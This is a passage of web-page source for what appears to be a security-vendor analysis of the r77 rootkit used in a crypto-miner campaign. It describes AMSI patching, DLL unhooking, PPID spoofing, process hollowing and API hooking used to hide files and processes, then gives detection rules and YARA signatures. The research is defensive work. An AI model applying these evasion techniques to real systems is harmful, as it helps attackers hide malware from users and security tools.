module.\"}),`\n`,(0,t.jsx)(e.li,{children:\"The core module.\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image3.jpg\",alt:\"r77 rootkit and crypto miner execution flow\",width:\"1087\",height:\"191\"})}),`\n`,(0,t.jsx)(e.p,{children:\"We will cover each module and phase in detail below.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"installer-module\",children:\"Installer module\"}),`\n`,(0,t.jsx)(e.p,{children:\"Its first task is to store the stager module PE in the registry, a technique commonly used by malware authors to persistently store their malicious code on a system. Once the stager module is stored in the registry, the installer module builds a PowerShell command that loads the stager module from the registry and executes it, the installer module then creates a scheduled task to run the PowerShell command.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The installer locates the stager module stored as a PE resource named \",(0,t.jsx)(e.strong,{children:\"EXE\"}),\" , it then creates a new registry key called \",(0,t.jsx)(e.strong,{children:\"$77stager\"}),\" in the \",(0,t.jsx)(e.strong,{children:\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\"}),\" hive and writes the stager module to the key.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image2.jpg\",alt:\"Writing the stager module to the registry\",width:\"788\",height:\"326\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The installer then builds a PowerShell command to reflectively load the .NET stager in memory, using the \",(0,t.jsx)(e.strong,{children:\"[Reflection.Assembly]::Load\"}),\" method. Additionally, \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal\",rel:\"nofollow\",children:\"Microsoft\\u2019s Antimalware Scan Interface\"}),\" (AMSI) is circumvented by patching the \",(0,t.jsx)(e.strong,{children:\"AmsiScanBuffer\"}),\" API so that it will always return an \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"AMSI_RESULT_CLEAN\"})}),\" response. \",(0,t.jsx)(e.strong,{children:\"AMSI_RESULT_CLEAN\"}),\" means that the scanned content is \\u201CKnown good. No detection found, and the result is likely not going to change after a future definition update.\\u201D The PowerShell command is then obfuscated by replacing variable names with random strings.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image7.jpg\",alt:\"Obfuscated PowerShell command bypassing AMSI\",width:\"1121\",height:\"749\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Finally, the installer creates a scheduled task to execute the PowerShell command using COM objects, the task is configured to execute at startup with the SYSTEM account.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image6.jpg\",alt:\"The installer module creates a scheduled task\",width:\"999\",height:\"363\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"stager-module\",children:\"Stager module\"}),`\n`,(0,t.jsx)(e.p,{children:\"The stager is a .NET-based binary and it is responsible for unhooking DLLs, adjusting the SeDebugPrivilege setting, decrypting and decompressing the service module, and injecting the service module. This is accomplished using a process hollowing technique into a newly spawned process under another legitimate process through PPID spoofing.\"}),`\n`,(0,t.jsx)(e.h4,{id:\"api-unhooking\",children:\"API unhooking\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"To defeat the userland inline API hooking set by endpoint solutions, the stager module first completely unhooks two important DLLs that contain the API used by the rootkit, namely \",(0,t.jsx)(e.strong,{children:\"NTDLL.dll\"}),\" and \",(0,t.jsx)(e.strong,{children:\"KERNEL32.dll\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image3.jpg\",alt:\"Unhooking NTDLL and KERNEL32\",width:\"1087\",height:\"191\"})}),`\n`,(0,t.jsx)(e.p,{children:\"This technique involves the following steps:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Retrieving the DLL\"}),\" : The stager module reads the target DLL file from the disk.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Mapping the DLL to memory\"}),\" : The stager module creates a new file mapping using the CreateFileMapping function, which allows the DLL to be loaded into the process's memory.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Analyzing the DLL's section table\"}),\" : The stager module analyzes the section table of the newly mapped DLL to identify the relevant section where the executable code (often referred to as the \",(0,t.jsx)(e.strong,{children:\".text\"}),\" section) is stored.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"Overwriting the code section\"}),\" : Once the \",(0,t.jsx)(e.strong,{children:\".text\"}),\" section is identified, the stager module replaces the contents of the corresponding section in the already loaded DLL with the code from the fresh \",(0,t.jsx)(e.strong,{children:\".text\"}),\" section.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h4,{id:\"sedebugprivilege\",children:\"SeDebugPrivilege\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The stager module next attempts to obtain the \",(0,t.jsx)(e.strong,{children:\"SeDebugPrivilege\"}),\" which allows it to inspect and adjust the memory of other processes.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"This technique triggers Elastic\\u2019s \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/sedebugprivilege-enabled-by-a-suspicious-process.html\",rel:\"nofollow\",children:\"SeDebugPrivilege Enabled by a Suspicious Process\"}),\" detection rule.\"]}),`\n`,(0,t.jsx)(e.h4,{id:\"service-module-decryption-and-decompression\",children:\"Service module decryption and decompression\"}),`\n`,(0,t.jsx)(e.p,{children:\"Two versions of the same service module are stored in the resource section of the stager, a 32-bit and 64-bit version that will be deployed according to the system architecture.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The payload is compressed using the GZip compression algorithm and it uses a simple XOR for decryption. After decompression, the stager uses the first 4-bytes as an XOR key to decrypt the rest of the data.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image4.jpg\",alt:\"Decrypting the payload\",width:\"715\",height:\"347\"})}),`\n`,(0,t.jsx)(e.h4,{id:\"parent-pid-spoofing\",children:\"Parent PID spoofing\"}),`\n`,(0,t.jsx)(e.p,{children:\"To make the process hollowing injection appear legitimate, the parent PID spoofing technique is used to evade threat hunters and security tooling. This technique allows attackers to run processes under any parent process they want.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware first gets the process ID of the running \",(0,t.jsx)(e.strong,{children:\"winlogon.exe\"}),\" process which is a component of the Microsoft Windows operating system.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image1.jpg\",alt:\"Retrieving the winlogon.exe process ID\",width:\"891\",height:\"116\"})}),`\n`,(0,t.jsx)(e.p,{children:\"It then uses 5 Windows APIs:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"OpenProcess\"}),\" : Get the parent process handle.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"InitializeProcThreadAttributeList\"}),\" : Initialize the attribute list.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"UpdateProcThreadAttribute:\"}),\" Set the parent process handle via the \",(0,t.jsx)(e.strong,{children:\"PROC_THREAD_ATTRIBUTE_PARENT_PROCESS\"}),\" attribute.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"CreateProcess:\"}),\" Creates a new process under the spoofed parent\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"![Parent process PID spoofing](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image8.jpg\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"This technique triggers Elastic\\u2019s \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/parent-process-pid-spoofing.html\",rel:\"nofollow\",children:\"Parent Process PID Spoofing\"}),\" detection rule.\"]}),`\n`,(0,t.jsx)(e.h4,{id:\"process-hollowing\",children:\"Process hollowing\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware leverages the process hollowing technique to inject its payload into a legitimate-looking Microsoft process, it chooses either \",(0,t.jsx)(e.strong,{children:\"C:\\\\Windows\\\\System32\\\\dllhost.exe\"}),\" or \",(0,t.jsx)(e.strong,{children:\"C:\\\\Windows\\\\SysWow64\\\\dllhost.exe\"}),\" depending on the malware and the machine architecture. To further obfuscate its presence, the malware generates a random GUID and generates a command line string, assigning it to the newly created process. This command line string includes the \",(0,t.jsx)(e.strong,{children:\"/processid:\"}),\" parameter and the GUID to mimic the behavior of a genuine \",(0,t.jsx)(e.strong,{children:\"dllhost.exe\"}),\" process and make it more difficult to detect.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"![Malware executing the process hollowing technique](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image9.jpg\"}),`\n`,(0,t.jsx)(e.h3,{id:\"service-module\",children:\"Service module\"}),`\n`,(0,t.jsx)(e.p,{children:\"The service module is another essential component of the r77 rootkit responsible for carrying out critical tasks such as configuration setup in the registry. One of the primary tasks of the service module is to inject the rootkit's core into every running process on the system.\"}),`\n`,(0,t.jsx)(e.h4,{id:\"unhooking-dlls\",children:\"Unhooking DLLs\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Using the same technique used in the stager, the binary unhooks both \",(0,t.jsx)(e.strong,{children:\"NTDLL.dll\"}),\" and \",(0,t.jsx)(e.strong,{children:\"KERNEL32.dll\"}),\".\"]}),`\n`,(0,t.jsx)(e.h4,{id:\"config-setup\",children:\"Config setup\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The service module stores the configuration as registry entries; it first creates a key in the \",(0,t.jsx)(e.strong,{children:\"HKEY_LOCAL_MACHINE**\"}),\" SOFTWARE$77config** file that can be modified by any user on the machine.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image10.jpg\",alt:\"Creating the first configuration registry key\",width:\"1029\",height:\"265\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"It then stores the current process ID running the service module as a value in a registry key named either \",(0,t.jsx)(e.strong,{children:\"\\u201Csvc32\\u201D\"}),\" or \",(0,t.jsx)(e.strong,{children:\"\\u201Csvc64\\u201D\"}),\" under the key \",(0,t.jsx)(e.strong,{children:\"HKEY_LOCAL_MACHINE**\"}),\" SOFTWARE$77config\\\\pid**. The svc32/64 key name is based on the system architecture.\"]}),`\n`,(0,t.jsx)(e.h4,{id:\"injecting-the-core-rootkit\",children:\"Injecting the core rootkit\"}),`\n`,(0,t.jsx)(e.p,{children:\"The final task of the service module is to create two callbacks that are responsible for injecting the final rookit\\u2019s core. The core is a DLL stored as a resource in every running process except a handful specified by the threat actor in the configuration before compiling the rootkit.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The first callback is responsible for injection into every running process of the rootkit\\u2019s core, it does that by enumerating all running processes every 100 ms.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The second callback is responsible for injection into newly created child processes of already infected parent processes, an inter-process communication between the service and an infected process is used to catch child process creation.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The rootkit\\u2019s core hooks multiple Windows APIs. One of the important APIs is \",(0,t.jsx)(e.strong,{children:\"NtResumeThread\"}),\". A parent process calls this API to start the thread execution after the creation of the child process, the installed hook sends the child\\u2019s PID to the service module through a named PIPE, in turn, the service module injects into it if the conditions allow it.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The threat actors purposely avoid injection into these specific processes:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"MSBuild.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"Services.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"regsvr32.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"Svchost.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"WmiPrvSE.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"OffOn.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"OnOff.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"rutserv.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"rfusclient.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"RMS.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"msiexec.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"Ma_ss.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"masscan.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"NLBrute.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"run.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"Checker.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"Xfit.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"cracker64.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"SSH_Checker.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"ViewLog.exe\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"the-rootkits-core\",children:\"The rootkit\\u2019s core\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The last module is the core module, responsible for installing hooks on important Windows APIs and filtering the output of said APIs according to the rootkit\\u2019s configuration. It is a DLL loaded into running processes by the service module. Its main purpose is to set hooks using the \",(0,t.jsx)(e.a,{href:\"https://github.com/microsoft/Detours\",rel:\"nofollow\",children:\"Detours\"}),\" project on important Windows API namely\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"NtQuerySystemInformation\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"NtResumeThread\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"NtQueryDirectoryFile\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"NtQueryDirectoryFileEx\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"NtEnumerateKey\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"NtEnumerateValueKey\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"EnumServiceGroupW\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"EnumServicesStatusExW\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.strong,{children:\"NtDeviceIoControlFile\"})}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"![Hooking NT Windows APIs](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image8.jpg\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"These Native Windows APIs are used to enumerate/fetch information about the system, an example of that is \",(0,t.jsx)(e.strong,{children:\"regedit\"}),\" which relies heavily on \",(0,t.jsx)(e.strong,{children:\"NtEnumerateKey\"}),\" and \",(0,t.jsx)(e.strong,{children:\"NtEnumerateValueKey\"}),\" to enumerate the system\\u2019s registry keys. The installed hook is capable of enumerating the keys and filtering out keys that are configured by the threat actors, the rest is forwarded to the \",(0,t.jsx)(e.strong,{children:\"regedit\"}),\" process.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"By filtering the output of the Windows APIs, the core module is able to selectively hide specific files, processes, or registry keys from the system's users and security tools.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"packed-powershell\",children:\"Packed PowerShell\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Upon further examination, our team discovered an additional binary file within the miner campaign: \",(0,t.jsx)(e.strong,{children:\"$77_loader.exe\"}),\". This file, which was packed with \",(0,t.jsx)(e.a,{href:\"https://www.sapien.com/software/powershell_studio\",rel:\"nofollow\",children:\"SAPIEN PowerShell Studio\"}),\", is a .NET binary that loads an embedded PowerShell script and executes it. This PowerShell script serves as the orchestrator for the entire miner campaign, directing the various processes and actions necessary to successfully install and operate a legitimate and popular crypto miner. The PowerShell script was responsible for downloading a compiled version of the open source \",(0,t.jsx)(e.a,{href:\"https://github.com/xmrig/xmrig\",rel:\"nofollow\",children:\"XMRIG miner\"}),\". Specifically, the version used in this campaign was \",(0,t.jsx)(e.strong,{children:\"6.15.2\"}),\" , which was released in October 2021. Interestingly, the download appeared to originate from the domain \",(0,t.jsx)(e.strong,{children:\"msupdate[.]info\"}),\", a well-documented and malicious domain.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"![PowerShell script attempt to download XMRIG](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image9.jpg\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The script included code to configure and execute the r77 rootkit and was responsible for opening specific firewall ports including \",(0,t.jsx)(e.strong,{children:\"703\"}),\" , \",(0,t.jsx)(e.strong,{children:\"708\"}),\" , \",(0,t.jsx)(e.strong,{children:\"757\"}),\" , \",(0,t.jsx)(e.strong,{children:\"999\"}),\" , \",(0,t.jsx)(e.strong,{children:\"8080\"}),\" , \",(0,t.jsx)(e.strong,{children:\"443\"}),\" , \",(0,t.jsx)(e.strong,{children:\"80\"}),\" , \",(0,t.jsx)(e.strong,{children:\"14444\"}),\" , \",(0,t.jsx)(e.strong,{children:\"24444\"}),\" , and \",(0,t.jsx)(e.strong,{children:\"34444\"}),\". The script also downloaded and set up the \",(0,t.jsx)(e.a,{href:\"https://ru.wikipedia.org/wiki/Remote_Manipulator_System\",rel:\"nofollow\",children:\"Remote Manipulator System\"}),\" (RMS) tool, a closed source program for remote administration, developed by the Russian company TektonIT, which could be used to remotely control the infected machine and issue commands from a remote location. Finally, the script created a new admin user ( \",(0,t.jsx)(e.strong,{children:\"adm\"}),\" ) on the targeted system, which could potentially be used to carry out additional attacks or exfiltrate sensitive data.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"detection-logic\",children:\"Detection logic\"}),`\n`,(0,t.jsx)(e.h3,{id:\"prevention\",children:\"Prevention\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parent_process_pid_spoofing.toml\",rel:\"nofollow\",children:\"Parent Process PID Spoofing\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_parent_child_relationship.toml\",rel:\"nofollow\",children:\"Unusual Parent-Child Relationship\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_unusual_powershell_engine_imageload.toml\",rel:\"nofollow\",children:\"Suspicious PowerShell Engine ImageLoad\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_privilege_escalation_via_extended_startupinfo.toml\",rel:\"nofollow\",children:\"Privilege Escalation via EXTENDED STARTUPINFO\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_process_running_as_antimalware_protected.toml\",rel:\"nofollow\",children:\"Unusual Process Running as Antimalware Protected\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"detection\",children:\"Detection\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parent_process_pid_spoofing.toml\",rel:\"nofollow\",children:\"Parent Process PID Spoofing\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml\",rel:\"nofollow\",children:\"Unusual Parent-Child Relationship\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_suspicious_powershell_imgload.toml\",rel:\"nofollow\",children:\"Suspicious PowerShell Engine ImageLoad\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/process-created-with-an-elevated-token.html\",rel:\"nofollow\",children:\"Process Created with an Elevated Token\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"yara\",children:\"YARA\"}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the r77 rootkit.\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`rule Windows_Rootkit_R77_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2022-03-04\"\n last_modified = \"2022-04-12\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c\"\n\n strings:\n $a = { 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8 }\n condition:\n all of them\n}\n\nrule Windows_Rootkit_R77_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-05-09\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"21e7f69986987fc75bce67c4deda42bd7605365bac83cf2cecb25061b2d86d4f\"\n\n strings:\n $a1 = { 8C 20 88 00 00 00 42 8B 44 21 10 42 8B 4C 21 1C 48 2B D0 49 }\n $a2 = { 53 00 4F 00 46 00 54 00 57 00 41 00 52 00 45 00 5C 00 24 00 37 00 37 00 63 00 6F 00 6E 00 66 00 69 00 67 00 }\n condition:\n all of them\n}\n\nrule Windows_Rootkit_R77_3 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-05-09\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"3dc94c88caa3169e096715eb6c2e6de1b011120117c0a51d12f572b4ba999ea6\"\n\n strings:\n $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 36 00 34 00 }\n $a2 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 33 00 32 00 }\n condition:\n all of them\n}\n\nrule Windows_Rootkit_R77_4 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-18\"\n last_modified = \"2023-05-18\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796\"\n\n strings:\n $a = { 33 C9 48 89 8C 24 C0 00 00 00 4C 8B CB 48 89 8C 24 B8 00 00 00 45 33 C0 48 89 8C 24 B0 00 00 00 48 89 8C 24 A8 00 00 00 89 8C 24 A0 00 00 00 }\n condition:\n $a\n}\n\nrule Windows_Rootkit_R77_5 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-18\"\n last_modified = \"2023-05-18\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60\"\n\n strings:\n $r77_str0 = \"$77stager\" wide fullword\n $r77_str1 = \"$77svc32\" wide fullword\n $r77_str2 = \"$77svc64\" wide fullword\n $r77_str3 = \"\\\\\\\\\\\\\\\\.\\\\\\\\pipe\\\\\\\\$77childproc64\" wide fullword\n $r77_str4 = \"SOFTWARE\\\\\\\\$77config\"\n $obfuscate_ps = { 0F B7 04 4B 33 D2 C7 45 FC 34 00 00 00 F7 75 FC 66 8B 44 55 90 66 89 04 4B 41 3B CE }\n $amsi_patch_ps = \"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3)\" wide fullword\n condition:\n ($obfuscate_ps and $amsi_patch_ps) or (all of ($r77_str*))\n}\n\nrule Windows_Rootkit_R77_6 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-18\"\n last_modified = \"2023-05-18\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Rootkit\"\n family = \"R77\"\n threat_name = \"Windows.Rootkit.R77\"\n reference_sample = \"96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89\"\n\n strings:\n $str0 = \"service_names\" wide fullword\n $str1 = \"process_names\" wide fullword\n $str2 = \"tcp_local\" wide fullword\n $str3 = \"tcp_remote\" wide fullword\n $str4 = \"startup\" wide fullword\n $str5 = \"ReflectiveDllMain\" ascii fullword\n $str6 = \".detourd\" ascii fullword\n $binary0 = { 48 8B 10 48 8B 0B E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 08 48 8B 4B 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 10 48 8B 4B 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 18 48 8B 4B 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 20 48 8B 4B 20 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 28 48 8B 4B 28 E8 ?? ?? ?? ?? 85 C0 }\n $binary1 = { 8B 56 04 8B 4F 04 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 08 8B 4F 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 0C 8B 4F 0C E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 10 8B 4F 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 14 8B 4F 14 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 18 8B 4F 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 1C 8B 4F 1C }\n condition:\n (all of ($str*)) or $binary0 or $binary1\n}\n`})}),`\n`,(0,t.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,t.jsx)(e.p,{children:\"The following were referenced throughout the above research\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/microsoft/Detours\",rel:\"nofollow\",children:\"https://github.com/microsoft/Detours\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/xmrig/xmrig\",rel:\"nofollow\",children:\"https://github.com/xmrig/xmrig\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://ru.wikipedia.org/wiki/Remote_Manipulator_System\",rel:\"nofollow\",children:\"https://ru.wikipedia.org/wiki/Remote_Manipulator_System\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"All observables are also available for \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/r77\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The following observables were discussed in this 